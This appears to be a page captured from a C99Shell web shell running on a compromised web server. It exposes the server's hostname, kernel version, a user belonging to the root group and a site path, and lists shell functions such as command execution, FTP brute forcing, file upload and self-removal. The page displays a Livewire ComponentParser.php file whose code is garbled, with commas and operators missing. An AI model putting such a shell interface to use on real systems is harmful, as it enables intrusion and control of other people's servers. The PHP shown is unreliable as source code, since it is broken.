!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Commands/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ComponentParser.php (6.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Commands;

use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Str;
use 
Illuminate\Support\Facades\File;
use function 
Livewire\str;

#[
\AllowDynamicProperties]
class 
ComponentParser
{
    protected 
$appPath;
    protected 
$viewPath;
    protected 
$component;
    protected 
$componentClass;
    protected 
$directories;

    public function 
__construct($classNamespace$viewPath$rawCommand$stubSubDirectory '')
    {

        
$this->baseClassNamespace $classNamespace;
        
$this->baseTestNamespace 'Tests\Feature\Livewire';

        
$classPath = static::generatePathFromNamespace($classNamespace);
        
$testPath = static::generateTestPathFromNamespace($this->baseTestNamespace);

        
$this->baseClassPath rtrim($classPathDIRECTORY_SEPARATOR).'/';
        
$this->baseViewPath rtrim($viewPathDIRECTORY_SEPARATOR).'/';
        
$this->baseTestPath rtrim($testPathDIRECTORY_SEPARATOR).'/';

        if(! empty(
$stubSubDirectory) && str($stubSubDirectory)->startsWith('..')) {
            
$this->stubDirectory rtrim(str($stubSubDirectory)->replaceFirst('..' DIRECTORY_SEPARATOR''), DIRECTORY_SEPARATOR).'/';
        } else {
            
$this->stubDirectory rtrim('stubs'.DIRECTORY_SEPARATOR.$stubSubDirectoryDIRECTORY_SEPARATOR).'/';
        }

        
$directories preg_split('/[.\/(\\\\)]+/'$rawCommand);

        
$camelCase str(array_pop($directories))->camel();
        
$kebabCase str($camelCase)->kebab();

        
$this->component $kebabCase;
        
$this->componentClass str($this->component)->studly();

        
$this->directories array_map([Str::class, 'studly'], $directories);
    }

    public function 
component()
    {
        return 
$this->component;
    }

    public function 
classPath()
    {
        return 
$this->baseClassPath.collect()
            ->
concat($this->directories)
            ->
push($this->classFile())
            ->
implode('/');
    }

    public function 
relativeClassPath() : string
    
{
        return 
str($this->classPath())->replaceFirst(base_path().DIRECTORY_SEPARATOR'');
    }

    public function 
classFile()
    {
        return 
$this->componentClass.'.php';
    }

    public function 
classNamespace()
    {
        return empty(
$this->directories)
            ? 
$this->baseClassNamespace
            
$this->baseClassNamespace.'\\'.collect()
                ->
concat($this->directories)
                ->
map([Str::class, 'studly'])
                ->
implode('\\');
    }

    public function 
className()
    {
        return 
$this->componentClass;
    }

    public function 
classContents($inline false)
    {
        
$stubName $inline 'livewire.inline.stub' 'livewire.stub';

        if (
File::exists($stubPath base_path($this->stubDirectory.$stubName))) {
            
$template file_get_contents($stubPath);
        } else {
            
$template file_get_contents(__DIR__.DIRECTORY_SEPARATOR.$stubName);
        }

        if (
$inline) {
            
$template preg_replace('/\[quote\]/'$this->wisdomOfTheTao(), $template);
        }

        return 
preg_replace(
            [
'/\[namespace\]/''/\[class\]/''/\[view\]/'],
            [
$this->classNamespace(), $this->className(), $this->viewName()],
            
$template
        
);
    }

    public function 
viewPath()
    {
        return 
$this->baseViewPath.collect()
            ->
concat($this->directories)
            ->
map([Str::class, 'kebab'])
            ->
push($this->viewFile())
            ->
implode(DIRECTORY_SEPARATOR);
    }

    public function 
relativeViewPath() : string
    
{
        return 
str($this->viewPath())->replaceFirst(base_path().'/''');
    }

    public function 
viewFile()
    {
        return 
$this->component.'.blade.php';
    }

    public function 
viewName()
    {
        return 
collect()
            ->
when(config('livewire.view_path') != resource_path(), function ($collection) {
                return 
$collection->concat(explode('/',str($this->baseViewPath)->after(resource_path('views'))));
            })
            ->
filter()
            ->
concat($this->directories)
            ->
map([Str::class, 'kebab'])
            ->
push($this->component)
            ->
implode('.');
    }

    public function 
viewContents()
    {
        if( ! 
File::exists($stubPath base_path($this->stubDirectory.'livewire.view.stub'))) {
            
$stubPath __DIR__.DIRECTORY_SEPARATOR.'livewire.view.stub';
        }

        return 
preg_replace(
            
'/\[quote\]/',
            
$this->wisdomOfTheTao(),
            
file_get_contents($stubPath)
        );
    }

    public function 
testNamespace()
    {
        return empty(
$this->directories)
            ? 
$this->baseTestNamespace
            
$this->baseTestNamespace.'\\'.collect()
                ->
concat($this->directories)
                ->
map([Str::class, 'studly'])
                ->
implode('\\');
    }

    public function 
testClassName()
    {
        return 
$this->componentClass.'Test';
    }

    public function 
testFile()
    {
        return 
$this->componentClass.'Test.php';
    }

    public function 
testPath()
    {
        return 
$this->baseTestPath.collect()
        ->
concat($this->directories)
        ->
push($this->testFile())
        ->
implode('/');
    }

    public function 
relativeTestPath() : string
    
{
        return 
str($this->testPath())->replaceFirst(base_path().'/''');
    }

    public function 
testContents()
    {
        
$stubName 'livewire.test.stub';

        if(
File::exists($stubPath base_path($this->stubDirectory.$stubName))) {
            
$template file_get_contents($stubPath);
        } else {
            
$template file_get_contents(__DIR__.DIRECTORY_SEPARATOR.$stubName);
        }

        return 
preg_replace(
            [
'/\[testnamespace\]/''/\[classwithnamespace\]/''/\[testclass\]/''/\[class\]/'],
            [
$this->testNamespace(), $this->classNamespace() . '\\' $this->className(), $this->testClassName(), $this->className()],
            
$template
        
);
    }

    public function 
wisdomOfTheTao()
    {
        
$wisdom = require __DIR__.DIRECTORY_SEPARATOR.'the-tao.php';

        return 
Arr::random($wisdom);
    }

    public static function 
generatePathFromNamespace($namespace)
    {
        
$name str($namespace)->finish('\\')->replaceFirst(app()->getNamespace(), '');
        return 
app('path').'/'.str_replace('\\''/'$name);
    }

    public static function 
generateTestPathFromNamespace($namespace)
    {
        return 
str(base_path($namespace))
            ->
replace('\\''/'$namespace)
            ->
replaceFirst('T''t');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--